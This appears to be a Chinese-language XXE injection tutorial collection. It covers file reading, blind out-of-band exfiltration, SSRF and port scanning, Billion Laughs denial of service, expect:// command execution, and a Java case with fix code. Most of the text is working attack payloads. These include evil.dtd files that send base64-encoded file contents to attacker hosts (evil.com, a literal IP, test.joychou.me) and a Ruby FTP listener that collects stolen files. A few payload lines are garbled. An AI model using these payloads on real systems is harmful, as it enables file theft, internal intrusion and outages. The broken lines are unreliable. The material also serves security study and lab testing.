    利用http协议http://url/file.ext,替换标准poc中相应部分即可,这种情况比较不稳定,根据不同xml解析器会得到不同的回显报错结果,例如我87关闭,88端口有web服务,有的没有明显的连接错误信息,所以无法判断端口的状态
    QQ图片20170423175713.png
    QQ图片20170423175726.png 也可以探测内网端口:

    该CASE是探测192.168.1.1的80、81端口,通过返回的“Connection refused”可以知道该81端口是closed的,而80端口是open的。

    加载外部DTD时有两种加载方式,一种为私有private,第二种为公共public。

    私有类型DTD加载:

     

    <!ENTITY private_dtd SYSTEM "DTD_location">

     

    公共类型DTD加载:

     

    <!ENTITY public_dtd PUBLIC "DTD_name" "DTD_location">

     

    在公共类型DTD加载的时候,首先会使用DTD_name来检索,如果无法找到,则通过DTD_location来寻找此公共DTD。利用DTD_location,在一定的环境下可以用来做内网探测。

     

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE root [

        <!ENTITY portscan SYSTEM "http://localhost:3389">

    ]>

    <root><foo>&portscan;</foo></root>

    因解析器种类不同,所以针对XXE攻击进行端口扫描需要一个合适的环境才能够实现,例如:有明显的连接错误信息。

    利用DTD进行数据回显

    有时读取文件时没有回显,这时可以利用DTD参数实体的特性将文件内容拼接到url中,达到读取文件的效果。

     

    <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[    <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini">      <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd">    %dtd;      %send;]> <root></root>

     

    <!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://evil.com/?content=%file;'>"> %payload;

    evil.dtd


    在evil.dtd中将%file实体的内容拼接到url后,然后利用burp等工具,查看url请求就能获得我们需要的内容

    或者:

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE xxe [

    <!ELEMENT name ANY >

    <!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>

    <root>

    <name>&xxe;</name>

    </root>

    3.DOS攻击

    最典型的案例Billion Laughs 攻击,Billion laughs attack,xml解析的时候,<lolz></lolz>中间将是一个十亿级别大小的参数,将会消耗掉系统30亿字节的内存。

    POC:

    <?xml version = "1.0"?>

    <!DOCTYPE lolz [

    <!ENTITY lol "lol">

    <!ELEMENT lolz (#PCDATA)>

    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">

    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">

    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">

    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">

    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">

        <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">

    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">

    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">

    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>

    <lolz>&lol9;</lolz>

    或者:

    <!DOCTYPE data [

    <!ENTITY a0 "dos" >

    <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">

    <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">

    <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">

    <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">

    ]>

    <data>&a4;</data>

     

    POC中中先定义了lol实体,值为"lol"的字符串,后在下面又定义了lol2实体,lol2实体引用10个lol实体,lol3又引用了10个lol2实体的值,依此类推,到了最后在lolz元素中引用的lol9中,就会存在上亿个"lol"字符串

    此时解析数据时未做特别处理,即可能造成拒绝服务攻击。

    此外还有一种可能造成拒绝服务的Payload,借助读取/dev/random实现.

    4.远程命令执行

    PHP下需要expect扩展

     

    该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。

    <?xml version="1.0" encoding="utf-8"?>

      <!DOCTYPE root [

      <!ENTITY content SYSTEM "expect://dir .">

     ]>

     <root><foo>&content;</foo></root>

    或者

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE xxe [

    <!ELEMENT name ANY >

    <!ENTITY xxe SYSTEM "expect://id" >]>

    <root>

    <name>&xxe;</name>

    </root>

    bind xxe

    对于无回显的xml注入:

    在你的vps上放1.xml文件,内容如下:

    <!ENTITY % f SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">

    <!ENTITY % all "<!ENTITY % s SYSTEM 'http://你的vps/xxe.php?f=%f;'>">

    再在你的vps上放xxe.php,内容如下:

    <?php

    file_put_contents("/tmp/1.txt", $_GET['f']);

    ?>

    最后在可以写xml的页面写如下:

    <!DOCTYPE ANY[

    <!ENTITY % r SYSTEM "http://你的vps/1.xml">

      %r;

    %all;

      %s;

    ]>

    访问1.txt就可以获得flag的内容

    5.攻击内网网站

    该CASE是攻击内网struts2网站,远程执行系统命令。

     <?xml version="1.0" encoding="utf-8"?>

      <!DOCTYPE root [

      <!ENTITY exp SYSTEM "http://192.168.1.103/payload">

     ]>

     <root><foo>&exp;</foo></root>

    或者

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE xxe [

    <!ELEMENT name ANY >

    <!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>

    <root>

    <name>&xxe;</name>

    </root>

    或者

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE xdsec [

    <!ELEMENT methodname ANY >

    <!ENTITY xxe SYSTEM "http://attacker.com/text.txt" >]>

    <methodcall>

    <methodname>&xxe;</methodname>

    </methodcall>

    如果包含文件失败,可能是由于读取php等文件时文件本身包含的<等字符.可以使用Base64编码绕过,如:

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE xdsec [

    <!ELEMENT methodname ANY >

    <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>

    <methodcall>

    <methodname>&xxe;</methodname>

    </methodcall>

    利用外部实体构造payload向内网其他机器发出请求

    ###攻击分类

    1.拒绝服务攻击(DDoS)

    支持实体测试:

    <!DOCTYPE data [
    <!ELEMENT data (#ANY)>
    <!ENTITY a0 "dos" >
    <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
    <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
    ]>
    <data>&a2;</data>

    如果解析过程变的非常缓慢,则表明测试成功,即目标解析器配置不安全可能遭受至少一种 DDoS 攻击。

    Billion Laughs 攻击 (Klein, 2002)

    译者注:“Billion Laughs” 攻击 —— 通过创建一项递归的 XML 定义,在内存中生成十亿个“Ha!”字符串,从而导致DDoS 攻击。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中。
    <!DOCTYPE data [
    <!ENTITY a0 "dos" >
    <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
    <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
    <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
    <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
    ]>
    <data>&a4;</data>

    这个文件只有 30 Kb大小但却有 11111 个实体引用,超出了合法的实体引用数量上限。

    Billion Laughs 攻击 – 参数实体 (Späth, 2015)

    <!DOCTYPE data SYSTEM "http://127.0.0.1:5000/dos_indirections_parameterEntity_wfc.dtd" [
    <!ELEMENT data (#PCDATA)>
    ]>
    <data>&g;</data>

    文件位于:http://publicServer.com/dos.dtd

    <!ENTITY % a0 "dos" >
    <!ENTITY % a1 "%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;">
    <!ENTITY % a2 "%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;">
    <!ENTITY % a3 "%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;">
    <!ENTITY % a4 "%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;">
    <!ENTITY g  "%a4;" >

    XML 二次爆破 DDoS 攻击

    <!DOCTYPE data [
    <!ENTITY a0 "dosdosdosdosdosdos...dos"
    ]>
    <data>&a0;&a0;...&a0;</data>

    一般实体递归

    最好不要使用递归 — [WFC: No Recursion]

    <!DOCTYPE data [
    <!ENTITY a "a&b;" >
    <!ENTITY b "&a;" >
    ]>
    <data>&a;</data>

    外部一般实体 (Steuck, 2002)

    这种攻击方式是通过申明一个外部一般实体,然后引用位于网上或本地的一个大文件(例如:C:/pagefile.sys 或/dev/random)。

    然而,这种攻击只是让解析器解析一个 巨大的 XML 文件而已。

    <?xml version='1.0'?>
    <!DOCTYPE data [
    <!ENTITY dos SYSTEM "file:///publicServer.com/largeFile.xml" >
    ]>
    <data>&dos;</data>

    2.基本的 XXE 攻击

    基本的 XXE 攻击 (Steuck, 2002)

    <?xml version="1.0"?>
    <!DOCTYPE data [
    <!ELEMENT data (#ANY)>
    <!ENTITY file SYSTEM "file:///sys/power/image_size">
    ]>
    <data>&file;</data>

    我们以文件 ‘/sys/power/image_size’ 为例,因为它非常短小只有一行且不包含特殊字符。

    这种攻击需要一个直接的反馈通道并且读取文件受到 XML 中禁止字符的限制,如 “<” 和 “&”。

    如果这些被禁止的字符出现在要访问的文件中(如:/etc/fstab),则 XML 解析器会抛出一个错误并停止解析。

    使用 netdoc 的 XXE 攻击

    <?xml version="1.0"?>
    <!DOCTYPE data [
    <!ELEMENT data (#PCDATA)>
    <!ENTITY file SYSTEM "netdoc:/sys/power/image_size">
    ]>
    <data>&file;</data>

    3.高级的 XXE 攻击 – 直接反馈通道

    这类攻击为高级的 XXE 攻击,用于绕过对基本的 XXE 攻击的限制和 OOB(外带数据) 攻击

    绕过基本 XXE 攻击的限制 (Morgan, 2014)

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE data [
    <!ELEMENT data (#ANY)>
    <!ENTITY % start "<![CDATA[">
    <!ENTITY % goodies SYSTEM "file:///sys/power/image_size">
    <!ENTITY % end "]]>">
    <!ENTITY % dtd SYSTEM "http://publicServer.com/parameterEntity_core.dtd">
    %dtd;
    ]>
    <data>&all;</data>

    文件位于:http://publicServer.com/parameterEntity_core.dtd

    <!ENTITY all '%start;%goodies;%end;'>

    滥用属性值的 XXE 攻击

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE data [
    <!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
    %remote;
    ]>
    <data attrib='&internal;'/>

    文件位于:http://publicServer.com/external_entity_attribute.dtd

    <!ENTITY % payload SYSTEM "file:///sys/power/image_size">
    <!ENTITY % param1 "<!ENTITY internal '%payload;'>">
    %param1;

    4.高级的 XXE 攻击 — 外带数据(OOB)通道

    没有可以直接回传的通道不意味着就不存在 XXE 攻击。

    XXE OOB 攻击 (Yunusov, 2013)

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
    <data>&send;</data>

    文件位于:http://publicServer.com/parameterEntity_oob.dtd

    <!ENTITY % file SYSTEM "file:///sys/power/image_size">
    <!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
    %all;

    XXE OOB 攻击 – 参数实体 (Yunusov, 2013)

    和前面的攻击很像,区别仅在于只使用参数实体。

    <?xml version="1.0"?>
    <!DOCTYPE data [
    <!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendhttp.dtd">
    %remote;
    %send;
    ]>
    <data>4</data>

    文件位于:http://publicServer.com/parameterEntity_sendhttp.dtd

    <!ENTITY % payload SYSTEM "file:///sys/power/image_size">
    <!ENTITY % param1 "<!ENTITY % send SYSTEM 'http://publicServer.com/%payload;'>">
    %param1;

    XXE OOB 攻击 – 参数实体 FTP (Novikov, 2014)

    使用 FTP 协议,攻击者可以读取到任意长度的文件。

    <?xml version="1.0"?>
    <!DOCTYPE data [
    <!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendftp.dtd">
    %remote;
    %send;
    ]>
    <data>4</data>

    文件位于:http://publicServer.com/parameterEntity_sendftp.dtd

    <!ENTITY % payload SYSTEM "file:///sys/power/image_size">
    <!ENTITY % param1 "<!ENTITY % send SYSTEM 'ftp://publicServer.com/%payload;'>">
    %param1;

    这种攻击需要配置 FTP 服务器。不过,这个 POC 代码只需要稍作调整即可用于任意的解析器上。

    SchemaEntity 攻击 (Späth, 2015)

    这里有三种不同的攻击方式:(i) schemaLocation,(ii) noNamespaceSchemaLocation 和 (iii) XInclude。

    schemaLocation

    <?xml version='1.0'?>
    <!DOCTYPE data [
    <!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
    %remote;
    ]>
    <ttt:data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:ttt="http://test.com/attack"
     xsi:schemaLocation="ttt http://publicServer.com/&internal;">4</ttt:data>

    noNamespaceSchemaLocation

    <?xml version='1.0'?>
    <!DOCTYPE data [
    <!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
    %remote;
    ]>
    <data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:noNamespaceSchemaLocation="http://publicServer.com/&internal;"></data>

    XInclude

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE data [
    <!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
    %remote;
    ]>
    <data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:includehref="http://192.168.2.31/&internal;" parse="text"></xi:include></data>

    文件位于:http://publicServer.com/external_entity_attribute.dtd

    <!ENTITY % payload SYSTEM "file:///sys/power/image_size">
    <!ENTITY % param1 "<!ENTITY internal '%payload;'>">
    %param1;

    5.SSRF 攻击

    DOCTYPE

    <?xml version="1.0"?>
    <!DOCTYPE data SYSTEM "http://publicServer.com/" [
    <!ELEMENT data (#ANY)>
    ]>
    <data>4</data>

    外部一般实体 (Steuck, 2002)

    <?xml version='1.0'?>
    <!DOCTYPE data [
    <!ELEMENT data (#ANY)>
    <!ENTITY remote SYSTEM "http://internalSystem.com/file.xml">
    ]>
    <data>&remote;</data>

    尽管为了不引起错误,最好是引用格式良好的 XML 文件(或者任何文本文件),但一些解析器可能还是会调用 URL 引用格式有问题的文件。

    外部参数实体 (Yunusov, 2013)

    <?xml version='1.0'?>
    <!DOCTYPE data [
    <!ELEMENT data (#ANY)>
    <!ENTITY % remote SYSTEM "http://publicServer.com/url_invocation_parameterEntity.dtd">
    %remote;
    ]>
    <data>4</data>

    文件位于:http://publicServer.com/url_invocation_parameterEntity.dtd

    <!ELEMENT data2 (#ANY)>

    6.XInclude

    <?xml version='1.0'?>
    <data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:includehref="http://publicServer.com/file.xml"></xi:include></data>

    文件位于:http://publicServer.com/file.xml

    <?xml version='1.0' encoding='utf-8'?><data>it_works</data>
    schemaLocation
    <?xml version='1.0'?>
    <ttt:data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:ttt="http://test.com/attack"
     xsi:schemaLocation="http://publicServer.com/url_invocation_schemaLocation.xsd">4</ttt:data>

    文件位于:http://publicServer.com/url_invocation_schemaLocation.xsd

    <?xml version="1.0" encoding="UTF-8"?>
    <xs:schema
         xmlns:xs="http://www.w3.org/2001/XMLSchema">
     <xs:element name="data" type="xs:string"/>
    </xs:schema>

    或者使用这个文件

    <?xml version="1.0" encoding="UTF-8"?>
    <xs:schema
         xmlns:xs="http://www.w3.org/2001/XMLSchema"
      targetNamespace="http://test.com/attack">
     <xs:element name="data" type="xs:string"/>
    </xs:schema>

    noNamespaceSchemaLocation

    <?xml version='1.0'?>
    <data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:noNamespaceSchemaLocation="http://publicServer.com/url_invocation_noNamespaceSchemaLocation.xsd">4</data>

    文件位于:http://publicServer.com/url_invocation_noNamespaceSchemaLocation.xsd

    <?xml version="1.0" encoding="UTF-8"?>
    <xs:schema
         xmlns:xs="http://www.w3.org/2001/XMLSchema">
     <xs:element name="data" type="xs:string"/>
    </xs:schema>

    XInclude 攻击 (Morgan, 2014)

    <data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:includehref="/sys/power/image_size"></xi:include></data>

    7.XSLT 攻击

    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
       <xsl:template match="/">
           <xsl:value-of select="document('/sys/power/image_size')">
       </xsl:value-of></xsl:template>
    </xsl:stylesheet>

    点:libxml2.9.1及以后,默认不解析外部实体。测试的时候window下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。 

    参考链接:

    http://vulhub.org/#/environments/php_xxe/

    有回显有报错测试代码:

    1.<?php

    2.$xml=simplexml_load_string($_POST['xml']);

    3.print_r($xml);

    4.?>

    无回显无报错测试代码:

    1.<?php

    2.$xml=@simplexml_load_string($_POST['xml']);

    3.?>

     

    ###XXE注入的几种姿势

    利用xxe漏洞可以进行拒绝服务攻击,文件读取,命令(代码)执行,SQL(XSS)注入,内外扫描端口,入侵内网站点等,内网探测和入侵是利用xxe中支持的协议进行内网主机和端口发现,可以理解是使用xxe进行SSRF的利用,基本上啥都能做了,一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据。

    1.能够直接回显的

    这种能够回显的,直接写一个参数+外部实体然后调用就好了

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE a [

        <!ENTITY file SYSTEM "file:///etc/passwd">]>

    <foo>

            <value>&file;</value>

    </foo>

    有回显的情况可以使用如下的两种方式进行XXE注入攻击。

    <!DOCTYPE foo [<!ELEMENT foo ANY >

    <!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>

    <foo>&xxe;</foo>

    <!DOCTYPE foo [<!ELEMENT foo ANY >

    <!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >

    %xxe;]>

    <foo>&evil;</foo>

    外部evil.dtd中的内容。

    <!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >

    001.png

    当然也可以进行内网站点的入侵(属于SSRF的内容 后续补充)。

    002.png

    2.不能直接回显的,Blind XXE

    首先在vps中建立evil.dtd

    <!ENTITY % all

    "<!ENTITY &#x25; send SYSTEM 'http://118.89.16.36/x/?id=%file;'>"

    %all;

    然后xml中书写如下形式

    <!DOCTYPE ANY [

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/hosts">

    <!ENTITY % dtd SYSTEM "http://118.89.16.36/evil.dtd">

    %dtd;

    %send;

    ]>

     

    可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。

    <!DOCTYPE updateProfile [

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">

    <!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">

    %dtd;

    %send;

    ]>

    evil.dtd的内容,内部的%号要进行实体编码成&#x25。

    <!ENTITY % all

    “<!ENTITY &#x25; send SYSTEM ‘http://xxx.xxx.xxx/?data=%file;’>”

     >

    %all;

    有报错直接查看报错信息。

    baocuo.png

    无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。

    wu  1.png

    wu 2.png

    wu 3.png

    wu 4.png

    3.过滤了ENTITY关键字

    DTD文档支持这么一种定义,直接在定义文档类型的时候引入外部DTD文档,之后就是同样的姿势了

    (本地测试没有成功,可能是姿势问题)

     

    <!DOCTYPE svg SYSTEM "http://118.89.16.36/evil.dtd">

    <root>&test;</root>

    evil.dtd

    <!ENTITY test SYSTEM "file:///etc/passwd">

     <!DOCTYPE data [

    <!ENTITY a0 "dos" >

    <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">

    <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">

    <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">

    <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">

    ]>

    <data>&a4;</data>

    4.拒绝服务攻击

    这个文件里面存在11111个实体引用,超出了合法的实体引用数量上限

     <!DOCTYPE data [

    <!ENTITY a0 "dos" >

    <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">

    <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">

    <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">

    <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">

    ]>

    <data>&a4;</data>

    ###xxe注入的tips

    1.任意读取txt文件正常,读取php文件报错。因为php文件本身包含<等字符,利用php://filter的base64编码绕过
    php://filter/read=convert.base64-encode/resource=http://localhost:88/exponent/index.php

    <?xml version=”1.0″ encoding=”utf-8″?>
    <!DOCTYPE entity [
    <!ENTITY file SYSTEM ENTITY e SYSTEM “php://filter/read=convert.base64-encode/resource=http://wiki.wooyun.org”>
    ]>
    <wooyun>
    <external>&file;</external>
    </wooyun>


    2.第二种命名实体+外部实体+参数实体写法 中的evil.xml文件

    <!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;

    <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;

    里层嵌套为字符实体 例如 %为 &#37;web服务器uri get请求长度一般限制在2k,NET的System.XML会自动进行URLencode;
    3.形参实体(就是带%的)只能在dtd(<!DOCTYPE ANY[])里面调用,其他实体要用'&'开头,';'结尾
    4.不明白为什么无回显的情况下一定要三层实体嵌套才正确,二层嵌套就不对(evil.xml中直接写成<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>或是<!ENTITY send SYSTEM 'http://localhost:88/?content=%file;'>)

    5.平时burp 抓包 可以在请求头添加 Content-type:application/xml
    并添加 xml语句如果报错 或执行则有可能存在xxe漏洞,不断根据response fuzz即可

     

    6.我们既然可以使用file协议读取本地文件,当然也可以使用http协议访问来造成SSRF攻击,甚至可以使用gopher协议。

    具体能使用的协议主要取决于PHP,PHP默认支持file、http、ftp、php、compress、data、glob、phar、gopher协议。

    如果PHP支持except模块,我们还可以利用except模块来执行系统命令。

    简单的SSRF攻击实例如下:

    <?xml version="1.0" encoding="utf-8" ?>

    <!DOCTYPE a [ <!ENTITY b SYSTEM "http://127.0.0.1:1234/"> ]>

    <user>

    <name>Striker</name>

    <wechat>strikersb</wechat>

    <public_wechat>sec_fe</public_wechat>

    <website>&b;</website>

    </user>

    然后就可以监听到访问了。

    14916801785469.jpg

    SSRF攻击可以成功的话,我们自然可以进而攻击企业内网的系统。

    其他更多的危害各位可以参考OWASP出的文档:

    https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf

    ###漏洞危害

    XXE漏洞目前还未受到广泛关注,Wooyun上几个XXE引起的安全问题:

    ·pull-in任意文件遍历/下载

    ·从开源中国的某XXE漏洞到主站shell

    ·百度某功能XML实体注入

    ·百度某功能XML实体注入(二)

    借助XXE,攻击者可以实现任意文件读取,DOS拒绝服务攻击以及代理扫描内网等.

    对于不同XML解析器,对外部实体有不同处理规则,在PHP中默认处理的函数为:

    xml_parse

    simplexml_load

    xml_parse的实现方式为expat库,默认情况不会解析外部实体,而simplexml_load默认情况下会解析外部实体,造成安全威胁.

    除PHP外,在Java,Python等处理xml的组件及函数中都可能存在此问题

     

     

     

    ###java中的xxe利用

    1.漏洞代码

    造成Java XXE漏洞的代码,真的非常多。比如下面的漏洞代码。

    import org.apache.commons.digester3.Digester;

    maven配置:

    <dependency>

    <groupId>org.apache.commons</groupId>

    <artifactId>commons-digester3</artifactId>

    <version>3.2</version>

    </dependency>

    代码

      @RequestMapping("/xxe")

        @ResponseBody

        public static String xxetest(HttpServletRequest request) {

            try {

                String xml_con = request.getParameter("xml").toString();

                Digester digester = new Digester();

                digester.parse(new StringReader(xml_con));

                return "test";

            } catch (Exception e) {

                return "except";

            }

        }

    这个代码使用Digester类,所以最后修复代码需要使用该类的setFeature方法。

    修复代码:

    public static String xxetest(HttpServletRequest request) {

            try {

                String xml_con = request.getParameter("xml").toString();

                Digester digester = new Digester();

                // parse解析之前设置

    digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

                digester.parse(new StringReader(xml_con));

                return "test";

            } catch (Exception e) {

                return "except";

            }

        }

      

    再次利用时,会提示将功能"http://apache.org/xml/features/disallow-doctype-decl"设置为"真"时,不允许使用DOCTYPE。所以,这应该是在检测解析的内容是否有DOCTYPE,DOCTYPE是定义DTD的宏。黑盒测试,检测的内容为<!DOCTYPE,毕竟设置的features为disallow-doctype-decl。

    其他类造成的XXE修复方案,可以参考这个文档。http://find-sec-bugs.github.io/bugs.htm

    2.payload

    该payload读取/etc/redhat-release文件内容。该文件内容一般情况下只有一行,所以用来证明XXE的任意文件读取,还比较合适。

    URL编码后的payload:

    <%3fxml+version%3d"1.0"%3f><!DOCTYPE+root+%5b<!ENTITY+%25+remote+SYSTEM+"http%3a%2f%2ftest.joychou.me%3a8081%2fevil.xml">%25remote%3b%5d><root%2f>EM+"http%3a%2f%2ftest.joychou.me%3a8081%2fevil.xml">%25remote%3b%5d><root%2f>

    解码为:

     <?xml version="1.0"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://test.joychou.me:8081/evil.xml">%remote;]><root/>

    http://test.joychou.me:8081/evil.xml的内容如下:

    <!ENTITY % payload SYSTEM "file:///etc/redhat-release">

    <!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://test.joychou.me:8081/%payload;'>">;

    用这个的方式,可以来证明任意文件读取。

    3.协议问题

    Java在Blind XXE的利用上,读取文件会有些问题。

    在PHP中,我们可以使用php://filter/read=convert.base64-encode/resource=/etc/hosts方法将文本内容进行base64编码。

    Java中,没这样编码方法,所以如果要读取换行的文件,一般使用FTP协议,HTTP协议会由于存在换行等字符,请求会发送失败。

    FTP读取方法可以参考这篇文章,里面也有FTP Server的相关代码。http://www.voidcn.com/article/p-njawsjxm-ko.html

    开启一个匿名登录的FTP Server,端口为33的ruby脚本,ftp.rb

     require 'socket'

    server = TCPServer.new 33

    loop do

      Thread.start(server.accept) do |client|

        puts "New client connected"

        data = ""

        client.puts("220 xxe-ftp-server")

        loop {

            req = client.gets()

            puts "< "+req

            if req.include? "USER"

                client.puts("331 password please - version check")

            else

               #puts "> 230 more data please!"

                client.puts("230 more data please!")

            end

        }

      end

    end

    http://test.joychou.me:8081/evil.xml的内容如下:

    <!ENTITY % payload SYSTEM "file:///tmp/1.txt">

    <!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'ftp://test.joychou.me:33/%payload;'>">

    目的是读取XXE漏洞服务器上的/tmp/1.txt文件。

    test.joychou.me服务器上执行ruby ftp.rb

    访问URL,http://localhost:8080/xxe?xml=%3C%3fxml+version%3d%221.0%22%3f%3E%3C!DOCTYPE+root+%5b%3C!ENTITY+%25+remote+SYSTEM+%22http%3a%2f%2ftest.joychou.me%3a8081%2fevil.xml%22%3E%25remote%3b%5d%3E%3Croot%2f%3E

    /tmp/1.txt的内容为

    $ cat /tmp/1.txt

    test

    xxe

    ftp

    FTP Server收到以下内容:

    New client connected

    < USER anonymous

    < PASS Java1.8.0_121@

    < TYPE I

    < EPSV ALL

    < EPSV

    < EPRT |1|172.17.29.150|60731|

    < RETR test

    < xxe

    < ftp

    可以看到完全读取了/tmp/1.txt的内容,并且还包括XXE漏洞服务器的内网IP 172.17.29.150。

    不过有些字符只要存在,文件内容就会读取不到,比如#等字符,哪行有这些字符,读取前一行就结束。大家可以自行测试。

    4.漏洞修复代码

    把修复代码放在了github上。

    https://github.com/JoyChou93/java-sec-code

    ###PHP环境 XML外部实体注入漏洞(XXE)

    环境介绍:

    1.PHP 7.x 最新版

    2.Apache 2.x 稳定版

    3.libxml 2.8.0

    libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。

    使用如下命令编译并启动环境:

    docker-compose build docker-compose up -d

    编译时间较长,请耐心等待。

    环境启动后,访问http://your-ip/index.php即可看到phpinfo,搜索libxml即可看到其版本为2.8.0。

    Web目录为./www,其中包含4个文件:

    bash $ tree . . ├── dom.php # 示例:使用DOMDocument解析body ├── index.php ├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body └── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body

